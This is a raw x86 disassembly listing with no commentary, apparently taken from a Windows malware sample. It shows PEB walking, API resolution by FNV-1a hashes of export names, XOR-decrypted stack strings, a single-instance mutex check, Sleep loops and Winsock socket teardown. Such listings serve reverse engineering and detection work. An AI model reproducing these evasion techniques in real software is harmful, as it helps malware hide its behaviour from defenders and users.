mov eax, dword [0x58ab4c]
mov dword [ebp - 0x30], ecx
sbb eax, edx
mov dword [0x58ab48], ecx
mov dword [ebp - 0x2c], eax
xor ecx, edi
mov edx, dword [ebp - 0x2c]
mov dword [0x58ab4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x4a552c
add edi, dword [ebp - 0x30]
mov dword [0x58ab40], edi
adc esi, edx
mov dword [0x58ab44], esi
test esi, esi
jl 0x4a5545
jg 0x4a553a
cmp edi, 0x186a0
jbe 0x4a5545
xorps xmm0, xmm0
movlpd qword [0x58ab40], xmm0
lea ecx, [ebp - 0x328]
call fcn.0042bf00
lea ecx, [ebp - 0x328]
call fcn.004aba80
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov edi, dword [ecx + 0x18]
mov dword [ebp - 0x48], edi
mov edx, dword [edi + 0x3c]
mov esi, dword [edx + edi + 0x78]
mov eax, dword [edx + edi + 0x7c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
lea eax, [edi + esi]
mov dword [ebp - 0x30], eax
cmp eax, edi
je 0x4a55e7
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4a55e7
mov eax, dword [eax + 0x20]
mov esi, dword [ecx + 0x18]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x2c], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4a55dd
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4a55c0
cmp esi, 0x7a5b9fa2
je 0x4a55eb
mov eax, dword [ebp - 0x2c]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4a55a3
mov ecx, dword [ecx]
jmp 0x4a5570
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x328]
mov ecx, 0x58ac1c
push eax
call fcn.004abc70
call fcn.0042c1f0
test al, al
je 0x4a5912
cmp byte [ebp - 0x41], 0
jne 0x4a5912
mov dword [ebp - 0x28], 0x768ea546
lea edx, [ebp - 0x1f0]
mov dword [ebp - 0x24], 0x822f86ca
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1f0]
mov dword [ebp - 0x3e4], ecx
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x3e8], eax
pxor xmm1, xmmword [ebp - 0x3f0]
push 0x58abbc
movaps xmmword [ebp - 0x1f0], xmm1
call fcn.004b0280
add esp, 4
mov byte [ebp - 4], 0x22
mov ecx, eax
call fcn.004aba80
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x8e8]
call fcn.0040fe10
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x8e8]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4a856e
mov dword [ebp - 0x28], 0x47a1837d
sub esp, 0x18
mov dword [ebp - 0x24], 0x8a2c8f8f
mov esi, esp
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
pxor xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x34], esi
movaps xmmword [ebp - 0x80], xmm1
mov dword [ebp - 0x3c], esp
mov dword [ebp - 0x4c], esi
call fcn.00410150
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x80]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a57d0
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
mov ecx, esi
call fcn.00410090
mov byte [ebp - 4], 0x2e
mov byte [ebp - 4], 0x1e
call fcn.00438480
mov ecx, dword [0x58d134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x58d130]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4a5843
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0x65
call esi
mov ecx, dword [0x58d134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x58d130]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4a5820
push 2
push dword [0x58ab3c]
mov byte [0x58cf39], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x58ab3c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x48], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x30], ecx
cmp ecx, edx
je 0x4a58e7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a58e7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
sub ecx, 4
dec edi
mov dword [ebp - 0x2c], ecx
mov esi, 0x811c9dc5
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x4a58dd
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x4a58c0
cmp esi, 0x2fa62ca8
je 0x4a58eb
mov ecx, dword [ebp - 0x2c]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x4a58a5
mov eax, dword [eax]
jmp 0x4a5880
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x3f5
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x4a5870
mov esi, dword [0x58ab44]
mov edi, dword [0x58ab40]
push 0
push 2
push esi
push edi
call fcn.00543b50
mov ecx, dword [0x58ab48]
sub ecx, eax
mov eax, dword [0x58ab4c]
mov dword [ebp - 0x30], ecx
sbb eax, edx
mov dword [0x58ab48], ecx
mov dword [ebp - 0x2c], eax
xor ecx, edi
mov edx, dword [ebp - 0x2c]
mov dword [0x58ab4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x4a5967
add edi, dword [ebp - 0x30]
mov dword [0x58ab40], edi
adc esi, edx
mov dword [0x58ab44], esi
test esi, esi
jl 0x4a5980
jg 0x4a5975
cmp edi, 0x186a0
jbe 0x4a5980
xorps xmm0, xmm0
movlpd qword [0x58ab40], xmm0
mov byte [0x58cf5d], 0
mov dword [ebp - 0x28], 0x4efd549
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0x404], ecx
lea ecx, [ebp - 0x900]
mov dword [ebp - 0x408], eax
pxor xmm1, xmmword [ebp - 0x410]
movaps xmmword [ebp - 0xd0], xmm1
call fcn.0041b660
mov esi, eax
mov byte [ebp - 4], 0x35
push 4
push 0x3c106b97
call fcn.004163f0
mov edi, eax
add esp, 8
mov eax, dword [0x58ab3c]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xd0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a5a54
sub ecx, edx
lea eax, [ebp - 0xd0]
push ecx
push eax
mov ecx, esi
call fcn.004ae3b0
push eax
lea ecx, [ebp - 0x768]
call fcn.0040fca0
mov esi, dword [ebp - 0x54]
lea edx, [ebp - 0x768]
sub esp, 0x18
or esi, 0x10
mov dword [ebp - 0x54], esi
mov ecx, esp
mov dword [ebp - 0x3c], esp
push 0x58abbc
call fcn.004b03b0
add esp, 4
mov byte [ebp - 4], 0x37
mov byte [ebp - 4], 0x36
mov edx, edi
mov ecx, dword [ebp - 0x2c]
call fcn.004373f0
and esi, 0xffffffef
add esp, 0x18
mov edi, eax
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x768]
call fcn.0040fe10
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0x768]
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x900]
call fcn.0040fe10
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x900]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x1e
test edi, edi
jle 0x4a5bbd
cmp byte [0x58cf5d], 0
jne 0x4a5bbd
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a5b8f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a5b8f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a5b85
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a5b68
cmp esi, 0x2fa62ca8
je 0x4a5b93
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a5b50
mov eax, dword [eax]
jmp 0x4a5b20
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x64
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0x58cf5d], 0
je 0x4a5b10
call fcn.004163d0
mov eax, dword [0x58ab40]
lea ecx, [ebp - 0x7e0]
xor dword [0x58ab48], eax
mov edx, 0x58ab74
mov eax, dword [0x58ab44]
xor dword [0x58ab4c], eax
call fcn.00431800
mov byte [ebp - 4], 0x3e
lea eax, [ebp - 0x7e0]
push eax
lea ecx, [ebp - 0x398]
call fcn.004abdc0
mov byte [ebp - 4], 0x3f
cmp dword [0x58ab84], 0
jne 0x4a5c87
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x388], 0
jne 0x4a5c87
mov edx, 0x58ab74
lea ecx, [ebp - 0x998]
call fcn.00431800
mov esi, eax
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x7e0]
push esi
call fcn.004abca0
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x7c8]
call fcn.004abca0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x998]
call fcn.00437060
lea eax, [ebp - 0x7e0]
push eax
lea ecx, [ebp - 0x398]
call fcn.004abc70
push 1
push 0x43070c5c
call fcn.00416520
add esp, 8
push eax
call edi
cmp dword [0x58ab84], 0
je 0x4a5c11
push 0x56a678
mov ecx, 0x58ab74
call fcn.004aba80
push eax
call fcn.0051fa90
add esp, 8
test eax, eax
je 0x4a5d80
lea eax, [ebp - 0x6b8]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x6a0]
mov dword [ebp - 0x34], eax
nop dword [eax]
lea ecx, [ebp - 0x6b8]
call fcn.00410150
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x6b8]
push 1
push 0x56a4a4
call fcn.00410090
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x6a0]
call fcn.00410150
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x6a0]
push 1
push 0x56a678
call fcn.00410090
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x6b8]
push eax
lea edx, [ebp - 0x6a0]
mov ecx, 0x58ab74
call fcn.00415ab0
add esp, 4
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x6a0]
call fcn.0040fe10
mov byte [ebp - 4], 0x43
lea eax, [ebp - 0x6a0]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x6b8]
call fcn.0040fe10
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x6b8]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x3f
mov ecx, 0x58ab74
push 0x56a678
call fcn.004aba80
push eax
call fcn.0051fa90
add esp, 8
test eax, eax
jne 0x4a5cc0
mov dword [ebp - 0x28], 0x4ef8067
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0xe0]
mov dword [ebp - 0x418], eax
lea eax, [ebp - 0x8d0]
mov dword [ebp - 0x414], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x420]
movaps xmmword [ebp - 0xe0], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0xe0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a5e33
sub ecx, edx
lea eax, [ebp - 0xe0]
push ecx
push eax
lea ecx, [ebp - 0x8d0]
call fcn.00410090
mov byte [ebp - 4], 0x4f
mov dword [ebp - 0x28], 0x4ef8f7e
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x8b8]
mov dword [ebp - 0x424], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x430]
movaps xmmword [ebp - 0xf0], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xf0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a5f06
sub ecx, edx
lea eax, [ebp - 0xf0]
push ecx
push eax
lea ecx, [ebp - 0x8b8]
call fcn.00410090
mov byte [ebp - 4], 0x52
mov dword [ebp - 0x28], 0x4ef8c77
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x43c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x100]
mov dword [ebp - 0x438], eax
lea eax, [ebp - 0x8a0]
mov dword [ebp - 0x434], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x440]
movaps xmmword [ebp - 0x100], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x100]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a5fe0
sub ecx, edx
lea eax, [ebp - 0x100]
push ecx
push eax
lea ecx, [ebp - 0x8a0]
call fcn.00410090
mov byte [ebp - 4], 0x55
mov dword [ebp - 0x28], 0x4ef9874
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x448], eax
lea eax, [ebp - 0x888]
mov dword [ebp - 0x444], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x450]
movaps xmmword [ebp - 0x110], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a60b3
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x888]
call fcn.00410090
mov byte [ebp - 4], 0x58
mov dword [ebp - 0x28], 0x4ef8f60
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x458], eax
lea eax, [ebp - 0x870]
mov dword [ebp - 0x454], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x460]
movaps xmmword [ebp - 0x120], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x120]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a6186
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x870]
call fcn.00410090
mov byte [ebp - 4], 0x5b
mov dword [ebp - 0x28], 0x4ef9178
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x468], eax
lea eax, [ebp - 0x858]
mov dword [ebp - 0x464], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x470]
movaps xmmword [ebp - 0x130], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x130]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a6260
sub ecx, edx
lea eax, [ebp - 0x130]
push ecx
push eax
lea ecx, [ebp - 0x858]
call fcn.00410090
mov byte [ebp - 4], 0x5e
mov dword [ebp - 0x28], 0x4ef927e
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x140]
mov dword [ebp - 0x478], eax
lea eax, [ebp - 0x840]
mov dword [ebp - 0x474], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x480]
movaps xmmword [ebp - 0x140], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x140]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a6333
sub ecx, edx
lea eax, [ebp - 0x140]
push ecx
push eax
lea ecx, [ebp - 0x840]
call fcn.00410090
mov byte [ebp - 4], 0x61
mov dword [ebp - 0x28], 0x4ef9f61
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x150]
mov dword [ebp - 0x488], eax
lea eax, [ebp - 0x828]
mov dword [ebp - 0x484], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x490]
movaps xmmword [ebp - 0x150], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x150]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a6406
sub ecx, edx
lea eax, [ebp - 0x150]
push ecx
push eax
lea ecx, [ebp - 0x828]
call fcn.00410090
mov byte [ebp - 4], 0x64
mov dword [ebp - 0x28], 0x4ef9460
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x160]
mov dword [ebp - 0x498], eax
lea eax, [ebp - 0x810]
mov dword [ebp - 0x494], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x4a0]
movaps xmmword [ebp - 0x160], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x160]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a64e0
sub ecx, edx
lea eax, [ebp - 0x160]
push ecx
push eax
lea ecx, [ebp - 0x810]
call fcn.00410090
mov byte [ebp - 4], 0x67
mov dword [ebp - 0x28], 0x4ef8f74
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
